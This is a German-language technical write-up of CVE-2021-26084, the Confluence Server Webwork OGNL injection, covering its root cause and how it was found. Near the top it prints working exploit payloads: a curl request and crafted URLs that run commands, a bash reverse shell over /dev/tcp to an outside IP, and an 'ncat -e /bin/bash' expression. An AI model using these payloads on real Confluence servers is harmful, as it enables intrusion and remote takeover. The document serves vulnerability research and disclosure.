
CVE-2021-26084 - Confluence Server Webwork OGNL-Injektion
Dieser Beitrag gibt einen Überblick über CVE-2021-26084 – Confluence Server Webwork OGNL Injection [1], die es einem authentifizierten Benutzer ermöglicht, beliebigen Code auf einer Confluence Server- oder Data Center-Instanz auszuführen.
Confluence Server / Data Center verwendet das Webwork 2 MVC-Framework zur Verarbeitung von Webanfragen, und die Ansichtsschicht besteht hauptsächlich aus Velocity-Vorlagen. Eine doppelte Auswertung erfolgt, wenn Velocity-Vorlagen Webwork-Tags mit einem Wertattribut verwenden, das $ enthält. Wenn ein Webwork-Tag mit einem Wertattribut, das ein $ enthält, gefunden wird, erfolgt eine erste Auswertung während der Analyse der Velocity-Vorlage; dieser ausgewertete Wert wird dann an das Webwork-Tag übergeben, das den Wert weiter als OGNL-Ausdruck auswertet. Wenn die Aktionsklasse eine Setter-Funktion für den im Wertattribut verwendeten Parameter bereitstellt, kann dieser Parameter über URL-Parameter aus der URL gesetzt werden. Durch das Erstellen einer URL mit einer OGNL-Nutzlast kann ein Angreifer eine Remote-Code-Ausführung auf den betroffenen Versionen des Confluence Server / Data Center durchführen.
# UnAuthenticated RCE – basierend auf dem großartigen Write-up bei httpvoid; mit freundlicher Genehmigung von Harsh Jaiswal (rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE für Confluence < 7.12.14, nur wenn 'Benutzern erlauben, sich zu registrieren, um ihr Konto zu erstellen' aktiviert ist. COG > Benutzerverwaltung > Benutzerregistrierungsoptionen.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE für Confluence < 7.12.14, ein gültiges Benutzerkonto ist auf dem Confluence-Server erforderlich
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE für Confluence 7.12.14, der Parameter newSpaceKey muss mit dem Space-Schlüssel eines Bereichs aktualisiert werden, in dem der Benutzer die Berechtigung 'Seiten hinzufügen' hat
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Die folgende Nutzlast erzeugt eine Reverse-Shell zu einem entfernten Host, der einen Netcat-Listener ausführt. Das BurpSuite-Addon Hackvertor-Tags wurden zur besseren Lesbarkeit verwendet und müssen entsprechend konvertiert werden
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
Expression Language Injection-Schwachstellen treten auf, wenn eine Anwendung benutzerkontrollierte Daten in eine Zeichenfolge einfügt, die dynamisch von einem Code-Interpreter ausgewertet wird. Wenn die Benutzerdaten nicht streng validiert werden, kann ein Angreifer manipulierte Eingaben verwenden, um den auszuführenden Code zu ändern und beliebigen Code einzuschleusen, der vom Server ausgeführt wird [2]. Object-Graph Navigation Language (OGNL) [3] ist eine Ausdruckssprache zur Handhabung von Java-Objekten. Wenn eine OGNL-Injection-Schwachstelle vorhanden ist, kann der Angreifer OGNL-Ausdrücke einschleusen, die dann zur Ausführung beliebigen Java-Codes verwendet werden können. Neben dem Abrufen/Setzen von Eigenschaften unterstützt OGNL viele weitere Funktionen, von denen die folgenden aus Sicht der Exploit-Entwicklung interessant erscheinen:
Statischer Methodenaufruf: @java.lang.Runtime@getRuntime()
Konstruktoraufruf: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
Fähigkeit, mit Kontextvariablen zu arbeiten: #attr["webwork.valueStack"]
Methodenaufruf: #attr["webwork.valueStack"].findValue()
Durch Kombinieren der obigen Konstrukte kann ein gültiger OGNL-Ausdruck gebildet werden. Ein typischer OGNL-Ausdruck ist unten gezeigt:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 ist ein Pull-basiertes MVC-Framework, das auf einer Command-Pattern-Framework-API namens XWork aufbaut und der Vorgänger des beliebten Apache Struts2 ist. Confluence verwendet OpenSymphonys WebWork 2, um von Benutzern eingereichte Webanfragen zu verarbeiten. Webwork unterstützt eine leistungsstarke Ausdruckssprache basierend auf OGNL zur Navigation durch seinen Objektstapel (auch als ValueStack bezeichnet). Es unterstützt auch mehrere Ansichtstechnologien, darunter JSP, FreeMarker, Velocity und bietet eine umfangreiche Tag-Bibliothek. „WebWork: Strutting the OpenSymphony way“ von Mike Cannon-Brookes [4] bietet einen hervorragenden Überblick über das Webwork 2-Framework. Von besonderem Interesse für diese Schwachstelle ist die Unterstützung von Webwork für:
Die Erkennung der Schwachstelle erfolgte hauptsächlich mit einem White-Box-Testansatz, bei dem die Quellcodeinstrumentierung verwendet wurde, um die OGNL-Auswertung zu analysieren. Nach der hervorragenden Forschung des GHSL-Forschers Man Yue Mo zu OGNL-Injection in Apache Struts [5] [6] [7] wurde festgestellt, dass die evaluateParams-Methode der UIBean-Klasse ein interessanter Kandidat war. Die Codebasis der Webwork-Bibliothek im Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) wurde mit JD GUI extrahiert und auf Methoden ähnlich evaluateParams untersucht. Der nächste Treffer war die Methode protected void evaluateParams(OgnlValueStack stack) in com.opensymphony.webwork.views.jsp.ui.AbstractUITag. Die Quellcodeanalyse ergab weiterhin, dass eine Klasse com.opensymphony.webwork.util.SafeExpressionUtil existierte, die den Großteil der OGNL-Payloads blockierte.
Da der Autor kaum Erfahrung hatte, den Confluence-Server über einen Debugger laufen zu lassen, wurden primitive Print-Anweisungen verwendet, um die Ergebnisse der OGNL-Auswertung in den obigen Klassen auszugeben. Die Schritte zur Instrumentierung des Quellcodes waren:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# Verwenden Sie javap auf den Klassen innerhalb des webwork-jars, um die Quell- und Zielversionen zu identifizieren
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
Mit der instrumentierten Webwork-Bibliothek wurde festgestellt, dass das value-Attribut der Webwork-Tags eine potenzielle Injektionsstelle ist, da die Darstellung in der evaluateParams-Methode endete und das value-Attribut als OGNL ausgewertet wurde. Es wurde auch beobachtet, dass, wenn die Velocity-Vorlage ein Webwork-Tag enthielt, dessen value-Attribut mit der $-Konstruktion gesetzt wurde, dieser Wert während der Darstellung der Velocity-Vorlage ausgewertet und der ausgewertete Wert an das Webwork-Tag übergeben wurde. Ein typisches Beispiel für ein solches Tag ist:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
Obwohl das value-Attribut die Eingabe als OGNL verarbeitete, befanden sich einfache Anführungszeichen um die $-Konstruktion, was dazu führte, dass die Eingabe als Zeichenfolge behandelt wurde. Um diese Einschränkung zu umgehen, wurde die Unicode-Escape-Sequenz verwendet, da die direkte Übergabe der einfachen Anführungszeichen dazu führte, dass sie vor Erreichen des OGNL-Ausführungspunkts in HTML-Entitäten umgewandelt wurden. Die Unicode-Escape-Sequenz wird innerhalb von OgnlUtil.compile analysiert, und es wird ein ognl.ASTAdd gebildet, das die injizierte OGNL-Payload auswertet.
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

Die Confluence-Codebasis wurde nach Velocity-Dateien durchsucht, die einem Regex-Muster mit einem Webwork-Tag und $ in seinem Attribut entsprachen. Sobald die Velocity-Datei identifiziert wurde, wurde die entsprechende Aktionsklasse, die die Velocity-Vorlage verwendet, durch Durchsuchen der xwork-Konfigurationsdatei xwork.xml (innerhalb von confluence-x.y.z.jar) identifiziert. Der Prozess sieht in etwa so aus:
Die content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) enthielt das folgende Webwork-Tag:
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
Das value-Attribut, templateId, kann gesetzt werden, indem ein URL-Parameter sourceTemplateId an den Endpunkt docreatepagefromtemplate.action übergeben wird. Wenn ein URL-Parameter mit dem Namen sourceTemplateId aufgerufen wird, wird die Setter-Funktion der Aktionsklasse (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction) namens setSourceTemplateId vom Framework aufgerufen, und dies setzt den Wert der Member-Variable sourceTemplateId.
Wenn die Velocity-Vorlage analysiert wird, wird ${templateId} zunächst ausgewertet, indem die Funktion getTemplateId der Aktionsklasse aufgerufen wird, die den Wert der Member-Variable sourceTemplateId zurückgibt.

Dieser ausgewertete Wert wird dann an das value-Attribut des Webwork-Tags übergeben, das das value-Attribut dann als OGNL-Ausdruck auswertet. Schließlich ist es durch Verwendung der Unicode-Escape-Sequenz und der Variable #attr["webwork.valueStack"] möglich, die von den WebWork-Tags verwendete SafeExpressionUtil-Sandbox zu umgehen und beliebigen Java-Code auszuführen.
